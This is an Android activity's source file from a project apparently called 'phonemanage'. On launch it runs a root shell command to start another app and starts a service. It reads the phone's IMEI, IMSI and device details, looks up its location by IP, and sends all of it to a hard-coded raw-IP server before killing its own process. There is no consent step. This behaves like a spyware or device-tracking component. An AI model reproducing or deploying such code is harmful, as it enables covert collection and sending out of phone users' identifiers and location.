package com.myapplication.phonemanage;

import android.content.Context;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
import android.widget.Toast;

import org.json.JSONException;
import org.json.JSONObject;
import org.xutils.common.Callback;
import org.xutils.http.RequestParams;
import org.xutils.x;

public class MainActivity extends AppCompatActivity {
    public static final String TAG = "phonelog";
    private Context context;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        context = MainActivity.this;
        ShellUtils.execCommand("am start -n com.example.shoewann.autoexecutetask/com.example.shoewann.autoexecutetask.MainActivity", true, true);
//        IntentUtils.staKeep(context);
        IntentUtils.staTtSer(context);
        String phonebuild = "获取现在的参数  iemi："+ PhoneManager.getIMEI(context)+" imsi:"+ PhoneManager.getIMSI(context)+" "+ PhoneManager.getToPhone();
        requstLog(phonebuild,url2);
       TextView textView =  (TextView)findViewById(R.id.txt);
        textView.setText(phonebuild);
        Log.e(TAG, "onCreate: "+phonebuild);
        Toast.makeText(context,phonebuild,Toast.LENGTH_LONG).show();
    }

    final String url2 = "http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=json";
    final String url1 = "http://123.56.165.2:8081/app/log";
    String province;
    String city;
    public  void requstLog(final String log,final String url){
        RequestParams params = new RequestParams(url);
        params.addBodyParameter("log", log);
        x.http().get(params, new Callback.CommonCallback<String>() {
            @Override
            public void onSuccess(String result) {
                Log.e(TAG, "onSuccess:1111111111111111 "+ result.toString());
                JSONObject jsonException = null;

                try {
                    if (url.equals(url2)) {
                        jsonException = new JSONObject(result);
                        province = jsonException.getString("province");
                        city = jsonException.getString("city");
                        requstLog("province:" + province + " city:" + city + "  " + log, url1);
                        Log.e(TAG, "province:" + province + " city:" + city + "  " + log);
                    }
                } catch (JSONException e) {
                    e.printStackTrace();
                }

            }

            @Override
            public void onError(Throwable ex, boolean isOnCallback) {

            }

            @Override
            public void onCancelled(CancelledException cex) {
            }

            @Override
            public void onFinished() {
                if (url.equals(url1)) {
                    MainActivity.this.finish();
                    android.os.Process.killProcess(android.os.Process.myPid());
                }
            }
        });
    }
}
